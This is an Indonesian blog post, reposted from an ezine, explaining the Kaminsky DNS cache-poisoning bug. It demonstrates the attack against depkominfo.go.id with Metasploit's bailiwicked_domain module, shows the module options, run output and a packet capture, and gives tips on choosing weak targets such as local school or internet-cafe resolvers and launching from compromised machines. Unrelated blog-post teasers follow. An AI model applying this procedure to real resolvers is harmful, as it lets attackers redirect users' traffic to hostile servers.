Langsung ke konten utama

BUG DNS




Bugs DNS yang ditemukan oleh Dan Kaminsky merupakan bugs DNS paling parah sepanjang sejarah internet, beberapa pihak bahkan menyebutkan bugs DNS ini merupakan bugs paling parah diantara seluruh jenis bugs yang pernah ditemukan. Rasanya memang tidak salah jika Dan merencanakan metode patch yang baru pertama kali dilakukan oleh dunia sejak internet ditemukan dimana rilis patch dilakukan secara bersamaan dengan dukungan lebih dari 80 vendor DNS.
Jenis hole yang ditemukan oleh Dan Kaminsky merupakan perpaduan antara old attack #1 dan old attack #2. Hole tersebut memanfaatkan kelemahan QID yang hanya 16 bit disertai penggunaan protokol UDP sehingga dapat di bruteforce menggunakan paket flooding, dan memanfaatkan kelemahan pada "bailiwick checking". Bentuk response dari hole Dan kaminsky sebagai berikut:
;; QUESTION SECTION:
;notexist.depkominfo.go.id. IN A
;; ANSWER SECTION:
notexist.depkominfo.go.id. 120 IN A 41.41.41.41
;; AUTHORITY SECTION:
depkominfo.go.id. 86400 IN NS www.depkominfo.go.id.
;; ADDITIONAL SECTION:
www.depkominfo.go.id. 604800 IN A 41.41.41.42
Penyerang berusaha untuk membuat resolver melakukan query terhadap notexist.depkominfo.go.id, dan kemudian juga sekaligus mengirimkan response untuk notexist.depkominfo.go.id pada bagian answer, menyediakan informasi authority nameserver domain tersebut pada bagian authority section, dan...memberikan alamat IP nameserver domain tersebut pada bagian additional section. Harap diingat bahwa penyerang juga harus menyesuaikan QID response yang dikirimkan agar data tipuan tersebut dimasukan pada cache dns target. Jika berhasil, maka cache dns server akan teracuni informasi palsu dan mengarahkan semua request depkominfo.go.id menuju nameserver yang telah dipersiapkan oleh penyerang.
Hole ini berhasil mematahkan proses in-bailiwick checking resolver. Nameserver/resolver yang dijadikan target serangan akan percaya sepenuhnya pada response tersebut karena www.depkominfo.go.id memang berada didalam bailiwick checking (*.depkominfo.go.id).
That's it?! so simple, isn't it? :).
======= Teknik Eksploitasi ---|
Dengan adanya public disclosure mengenai hole ini, maka exploit beserta aksi kejahatan lainnya merebak dalam waktu kurang dari 24 jam. Pada bagian akhir kita akan membahas kemungkinan jenis kejahatan yang dapat dilakukan dengan memanfaatkan hole ini. Teknik eksploitasi ada berbagai macam, selain logic serangan yang akan mempengaruhi hasilnya, bahasa pemrograman yang digunakan juga ikut berperan serta. Berdasarkan keterangan Dan kaminsky, awalnya digunakan python sebagai eksploit namun karena terlalu lamban maka diganti menggunakan C. C diklaim dapat melakukan dns cache poisoning suatu resolver dalam watu kurang dari 1 menit (kecepatan internet juga mempengaruhi). Berikut ini permasalahan yang dihadapi untuk membuat eksploit hole diatas:
1. QID/TXID
Inti dari hole Kaminsky adalah pada bailiwick checking, namun kita tetap berhadapan dengan masalah QID DNS. Untuk implementasi DNS server saat ini dimana QID merupakan data 16 bit maka dibutuhkan mekanisme agar dapat lebih dahulu memberikan response dengan QID yang tepat kepada resolver. Bentuk eksploit saat ini menggunakan trik non-exist domain, misal: aaaa.google.com, aaab.google.com, dst. Sehingga apabila paket response dari nameserver asli datang lebih dulu maka jawabannya adalah NXDOMAIN (non-exist domain), sedangkan jika pake response hasil spoofing kita sampai lebih dulu maka jawabannya adalah alamat nameserver (A). Tehnik bruteforce QID ada berbagai macam dan dapat digunakan untuk meloloskan paket bruteforce response kita.
2. UDP Protocol
Hal ini berkaitan dengan konfigurasi dan implementasi nameserver itu sendiri. Beberapa nameserver menggunakan random source port saat melakukan dns query, sehingga jika kita ingin melakukan spoofing paket response bukan hanya harus menebak QID yang digunakan server tersbut saat mengirimkan query namun juga harus menebak source udp port yang digunakan. Hal ini menambah kompleksitas bruteforce menjadi 2^16 x 2^16 (16 bit QID x 16 bit source udp port).
3. Speed
Kecepatan koneksi juga ikut mempengaruhi proses bruteforce, hal ini adalah masalah klasik. Jika kita menggunakan koneksi dial-up (telkomnet????) untuk menyerang nameserver suatu ISP mungkin akan sia-sia, karena koneksi antara DNS server ISP dengan DNS server domain yang asli lebih cepat dibandingkan koneksi kita dengan DNS ISP maka paket response dari DNS server domain asli akan sampai lebih dulu. Hal ini mungkin akan berbeda jika kita bisa memiliki koneksi yang sangat cepat. Teknik paling mudah adalah menyerang DNS lokal (warnet, sekolah, kantor, dll) karena koneksi antara komputer yang kita gunakan untuk menyerang umumnya lebih cepat dibandingkan koneksi antara DNS server lokal tersebut dengan DNS server domain asli.
4. Recursive
Beberapa konfigurasi DNS server tidak mengijinkan dilakukan recursive query, atau membatasi recursive query hanya pada network tertentu sehingga akses melakukan eksploitasi terbatas hanya pada lokal area network tempat DNS server tersebut berada.
======= Exploit in Action ---|
Untuk contoh penggunaan eksploit dan efeknya penulis menggunakan metasploit framework. Dalam real attack penggunaan metasploit framework jelas kurang efisien karena masih terlalu lama untuk dapat sukses melakukan injeksi, terlebih lagi jika kita menggunakan koneksi yang lamban (somehow, masalah ini bisa diatasi, mis: dengan melakukan serangan via salah satu mesin korban lain yang telah di own dan memiliki bandwidth tinggi ;) ), namun prinsip kerja metasploit (terutama kalkulasi jumlah spoofing paket per query dan response) cukup lengkap untuk dijadikan sebagai referensi.
msf auxiliary(bailiwicked_domain) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN depkominfo.go.id yes The domain to hijack
NEWDNS 192.168.2.105 yes The hostname of the replacement DNS server
RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST 192.168.2.102 yes The target address
SRCADDR Real yes The source address to use for sending the queries (accepted: Real, Random)
SRCPORT 53 yes The target server's source query port (0 for automatic)
TTL 44910 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for automa
msf auxiliary(bailiwicked_domain) > exploit
[*] Targeting nameserver 192.168.2.102 for injection of depkominfo.go.id. nameservers as 192.168.2.105
[*] Querying recon nameserver for depkominfo.go.id.'s nameservers...
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns.depkominfo.go.id.
[*] Querying recon nameserver for address of ns.depkominfo.go.id....
[*] Got an A record: ns.depkominfo.go.id. 3496 IN A 222.124.199.71
[*] Checking Authoritativeness: Querying 222.124.199.71 for depkominfo.go.id....
[*] ns.depkominfo.go.id. is authoritative for depkominfo.go.id., adding to list of nameservers to spoof as
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns1.depkominfo.go.id.
[*] Querying recon nameserver for address of ns1.depkominfo.go.id....
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 1.11/188.08/3.72 | min/max/avg replies: 368/65438/1313
[*] Sending 1969 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject poison records for depkominfo.go.id.'s nameservers into 192.168.2.102:53...
[*] Poisoning successful after 250 queries and 492250 responses: depkominfo.go.id. == 192.168.2.105
[*] Auxiliary module execution completed
Jasmine:~ Cyberheb$ dig -t NS @192.168.2.102 depkominfo.go.id
; <<>> DiG 9.4.1-P1 <<>> -t NS @192.168.2.102 depkominfo.go.id
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- 0="" 18:49:22="" 192.168.2.102="" 192.168.2.105.="" 1="" 2008="" 37="" 3="" 41164="" 49356="" 61="" additional:="" answer:="" answer="" aug="" authority:="" br="" depkominfo.go.id.="" flags:="" id:="" in="" msec="" msg="" noerror="" ns="" opcode:="" qr="" query:="" query="" question="" ra="" rcvd:="" rd="" section:="" server:="" size="" status:="" sun="" time:="" when:=""> Pada demo diatas, kita melakukan cache poisoning terhadap DNS server 192.168.2.102 untuk domain depkominfo.go.id, hasil akhirnya seluruh query domain depkominfo.go.id akan diarahkan pada DNS server 192.168.2.105. Seluruh client yang menunjuk 192.168.2.102 juga akan mendapatkan hasil yang sama. Metasploit menggunakan opendns untuk proses RECONS authoritative DNS server domain depkominfo.go.id, hal ini dilakukan untuk mencegah data tersebut masuk cache DNS server target jika dilakukan query secara langsung (asumsi kita belum tau nameserver untuk domain depkominfo.go.id). FYI, kita tidak hanya dapat menggunakan opendns, namun juga bisa menggunakan open DNS server yang lain. Phoenix dari k-elektronik pernah membuat tools untuk mencari open DNS server ini pada internet. Setelah mendapatkan informasi authoritative nameserver, metasploit akan menghitung berapa jumlah response terhadap setiap query yang dikirimkan, dengan ini diharapkan proses bruteforce QID akan lebih efisien. Berikut ini hasil capture paket-paket data yang sampai di DNS target, dan akan memperlihatkan implementasi dari 'asumsi' yang dilontarkan oleh halvar flake saat membuka rahasia hole DNS Dan Kaminsky: Internet Protocol, Src: 192.168.2.105 (192.168.2.105), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: 47498 (47498), Dst Port: domain (53) Domain Name System (query) [Response In: 276016] Transaction ID: 0xffd4 Flags: 0x0100 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Internet Protocol, Src: 192.168.2.102 (192.168.2.102), Dst: 222.124.199.71 (222.124.199.71) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (query) [Response In: 276013] Transaction ID: 0x2e16 Flags: 0x0010 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...1 .... = Non-authenticated data OK: Non-authenticated data is acceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Additional records : type OPT
Name:
Type: OPT (EDNS0 option)
UDP payload size: 4096
Higher bits in extended RCODE: 0x0
EDNS0 version: 0
Z: 0x8000
Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs)
Bits 1-15: 0x0 (reserved)
Data length: 0
Internet Protocol, Src: 222.124.199.71 (222.124.199.71), Dst: 192.168.2.102 (192.168.2.102)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x7eed
Flags: 0x8500 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .1.. .... .... = Authoritative: Server is an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 0... .... = Recursion available: Server can't do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
VmlcscEEItDB9.depkominfo.go.id: type A, class IN
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Answers
VmlcscEEItDB9.depkominfo.go.id: type A, class IN, addr 135.177.94.73
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73
Authoritative nameservers
depkominfo.go.id: type NS, class IN, ns 192.168.2.105
Name: depkominfo.go.id
Type: NS (Authoritative name server)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 15
Name server: 192.168.2.105
Additional records
192.168.2.105: type A, class IN, addr 135.177.94.73
Name: 192.168.2.105
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73
Dari struktur diatas, kita dapat melihat attacker (192.168.2.105) mengirim query untuk VmlcscEEItDB9.depkominfo.go.id, kemudian resolver/dns server yang dijadikan target (192.168.2.102) akan melakukan recursive dns query untuk mencari authoritative dns server domain depkominfo.go.id serta menanyakan jawaban untuk server VmlcscEEItDB9.depkominfo.go.id, saat resolver tersebut mencari jawaban dari authoritative dns server attacker mengirimkan flooding response untuk pertanyaan tersebut. Dan jika QID response-nya sama dengan QID query resolver maka cache resolver akan teracuni, dan dengan metasploit hal ini
paling tidak membutuhkan sekitar 3 menit. Konidisi race inilah yang menentukan apakah proses poisoning berhasil, jika response dari authoritative dns server domain depkominfo.go.id lebih dulu datang maka response berisi NXDOMAIN (non-existant domain) akan diberikan kepada resolver, dan resolver akan meneruskan kepada attacker. Seluruh flood yang tersisa untuk query tersebut akan di-discard oleh resolver.
Selengkapnya baca di http://www.ezine.echo.or.id/ezine19/e19.008.txt

Sumber: echo.or.id

Komentar

Postingan populer dari blog ini

Download APK Pokemon GO

Download APK Pokemon GO - game pokemon Go merupakan game yang viral baru-baru ini. game yang sebenarnya diangkat dari film kartun pokemon kini dikembangkan dalam bentuk yang lebih realistis, dimana penggunanya bisa merasakan sensasi permainan yang begitu nyata. Download APK Pokemon GO adalah game yang paling ditunggu-tunggu oleh penggemarnya yang sekarang sudah rilis! Namun belum bisa di dapatkan di App Store dan Play Store Indonesia soalnya baru dibuka dalam wilayah negara Amerika dan Australia saja. tetapi tidak usah kawatir, kami akan membuatkan tutorial cara Download Pokemon Go dimana kalian bisa menggunakan smartphone IOS maupun Android sehingga kalian dapat memainkan game ini sekarang.   berikut adalah Cara Download APK Pokemon GO dan cara menginstall Pokemon Go : smartphone Android: Download dulu aplikasinya(.apk) nya disini Install Pokemon Go sesuai dengan petunjuk installasi di smartphone kalian. selesai. smartphone apple(IOS): Untuk smartp...

Tutorial Membuat Aplikasi Perpustakaan Berbasis Web dengan PHP & MySql

Tutorial Membuat Aplikasi Perpustakaan Berbasis Web dengan PHP & MySql Bidang Teknologi Informatika sedang digemari oleh banyak kalangan sekarang ini, terutama jurusan rekayasa perangkat lunak. Swasta maupun Pemerintah sedang berlomba­lomba meningkatkan sistem informasi manajemen di perusahaan mereka. Permintaan akan lulusan IT pun semakin meningkat, bukan hanya dari kuantitas sumber daya manusia tetapi juga kualitas ilmu pengetahuan sumber daya manusia di dunia IT. PHP Indonesia berkolaborasi dengan MGMP Kudus ­ Jepara ­ Demak mengadakan pelatihan pembuatan website bagi guru SMK IT jurusan rekayasa perangkat lunak di kota Kudus ­ Jepara ­ Demak. Pada pelatihan ini PHP Indonesia akan berbagi tips tentang bagaimana cara membuat ​ website​ . Tujuan akhir dari pelatihan ini adalah peserta mampu membuat sebuah relasi data, pembuatan sistem mengunggah foto, pembuatan halaman login atau autentikasi, pembuatan sistem yang di dalamnya...

Pelantikan Taruna SMK N 2 Sragen Angkatan ke-3

Bertempat di lapangan sport centre SMKN2 Sragen Pelantikkan Taruna yang dilakasanakan selama 1 tahun khusus kelas X . Pelantikan yang dihadiri pejabat teras kabupaten Sragen terdiri SEKDA mewakili Bupati, Kodim, Batalyon 408, PLORES 955 Sragen, Sekretaris Kanwil Depdikbud.Prop.Jateng. kepala diknas kab Sragen berserta tamu undangan dan orang tua wali murid. Ketarunaan pada hakekatnya untuk membentuk manusia yang berkarakter ,baik dan bijak seperti yang disampaikan pidato Bapak SUGIYARSO,,SPd.MPd. Anak anak SMKN2 Sragen adalah aset sumber daya manusia yang berkwalitas bagi kab. Sragen, karena SMKN2 Sragen beperan aktif mensukseskan program PEMKAB.SRAGEN. GERBANG SUKOWATI melalui pengentasan kemiskinan usia produktif karena 80 % out put atau lulusan SMKN2 Sragen telah tersalur lewat rekrutmen karyawan di berbagai perusahaan. SELAMAT ANAK ANAKKU I HOPE SUCSES FULLY FOR YOU ALL.....AMIN Part-1 Part-2 Part-3